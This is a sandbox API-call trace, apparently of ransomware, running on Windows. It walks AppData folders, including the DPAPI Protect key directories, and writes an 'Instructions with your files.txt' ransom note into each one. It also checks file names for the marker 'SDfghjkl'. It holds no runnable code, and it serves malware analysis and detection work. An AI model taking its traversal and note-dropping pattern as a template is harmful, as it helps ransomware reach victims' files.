[0131.428] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.428] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\..") returned 73
[0131.428] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x33c0ebb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x33c0ebb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x33c0ebb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.428] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\Instructions with your files.txt") returned 103
[0131.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\PowerPoint\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\powerpoint\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.428] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.429] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.429] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.429] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.429] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.430] CloseHandle (hObject=0x118) returned 1
[0131.430] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.430] GetProcessHeap () returned 0x810000
[0131.430] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.430] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1
[0131.430] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof") returned 65
[0131.430] GetProcessHeap () returned 0x810000
[0131.430] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.430] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*") returned 67
[0131.430] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.431] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\.") returned 67
[0131.431] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.431] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\..") returned 68
[0131.431] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x510b16f0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x510b16f0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x510b16f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.431] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\Instructions with your files.txt") returned 98
[0131.431] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Proof\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\proof\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.432] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.432] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.432] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.433] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.433] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.433] CloseHandle (hObject=0x118) returned 1
[0131.433] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.433] GetProcessHeap () returned 0x810000
[0131.433] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.433] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1
[0131.433] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect") returned 67
[0131.433] GetProcessHeap () returned 0x810000
[0131.433] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.433] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*") returned 69
[0131.433] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.435] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\.") returned 69
[0131.435] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.435] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x541f1c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x541f1c70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.435] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\..") returned 70
[0131.435] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.435] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x138, dwReserved0=0x0, dwReserved1=0x0, cFileName="CREDHIST", cAlternateFileName="")) returned 1
[0131.436] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\CREDHIST") returned 76
[0131.436] StrStrIW (lpFirst="CREDHIST", lpSrch="SDfghjkl") returned 0x0
[0131.436] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3111613574-2524581245-2586426736-500", cAlternateFileName="S-1-5-~1")) returned 1
[0131.436] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500") returned 113
[0131.436] GetProcessHeap () returned 0x810000
[0131.436] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.437] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*") returned 115
[0131.437] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.438] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\.") returned 115
[0131.438] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.438] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.438] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\..") returned 116
[0131.438] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.438] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b9bd87, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", cAlternateFileName="BE5B4F~1")) returned 1
[0131.438] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\be5b4fbd-cb99-45f5-9462-5f896dd3a6b9") returned 150
[0131.438] StrStrIW (lpFirst="be5b4fbd-cb99-45f5-9462-5f896dd3a6b9", lpSrch="SDfghjkl") returned 0x0
[0131.438] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 1
[0131.438] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Preferred") returned 123
[0131.438] StrStrIW (lpFirst="Preferred", lpSrch="SDfghjkl") returned 0x0
[0131.438] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Preferred", cAlternateFileName="PREFER~1")) returned 0
[0131.438] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Instructions with your files.txt") returned 146
[0131.439] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3111613574-2524581245-2586426736-500\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\protect\\s-1-5-21-3111613574-2524581245-2586426736-500\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.439] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.440] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.440] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.440] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.440] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.440] CloseHandle (hObject=0x11c) returned 1
[0131.440] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.440] GetProcessHeap () returned 0x810000
[0131.440] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.440] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~2")) returned 1
[0131.440] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 114
[0131.440] GetProcessHeap () returned 0x810000
[0131.440] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.440] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*") returned 116
[0131.440] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\.") returned 116
[0131.443] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x541f1c70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\..") returned 117
[0131.443] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xf923e050, ftCreationTime.dwHighDateTime=0x1d3aab9, ftLastAccessTime.dwLowDateTime=0xf923e050, ftLastAccessTime.dwHighDateTime=0x1d3aab9, ftLastWriteTime.dwLowDateTime=0xf923e050, ftLastWriteTime.dwHighDateTime=0x1d3aab9, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="02540a10-7eb7-4b20-a8c7-470f8986389c", cAlternateFileName="02540A~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\02540a10-7eb7-4b20-a8c7-470f8986389c") returned 151
[0131.443] StrStrIW (lpFirst="02540a10-7eb7-4b20-a8c7-470f8986389c", lpSrch="SDfghjkl") returned 0x0
[0131.443] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xdc5ea830, ftCreationTime.dwHighDateTime=0x1d41fce, ftLastAccessTime.dwLowDateTime=0xdc5ea830, ftLastAccessTime.dwHighDateTime=0x1d41fce, ftLastWriteTime.dwLowDateTime=0xdc5ea830, ftLastWriteTime.dwHighDateTime=0x1d41fce, nFileSizeHigh=0x0, nFileSizeLow=0x1d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="0e15476d-d8fe-46ca-8099-ebdcf80f637c", cAlternateFileName="0E1547~1")) returned 1
[0131.443] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-3388679973-3930757225-3770151564-1000\\0e15476d-d8fe-46ca-8099-ebdcf80f637c") returned 151
[0131.443] StrStrIW (lpFirst="0e15476d-d8fe-46ca-8099-ebdcf80f637c", lpSrch="SDfghjkl") returned 0x0
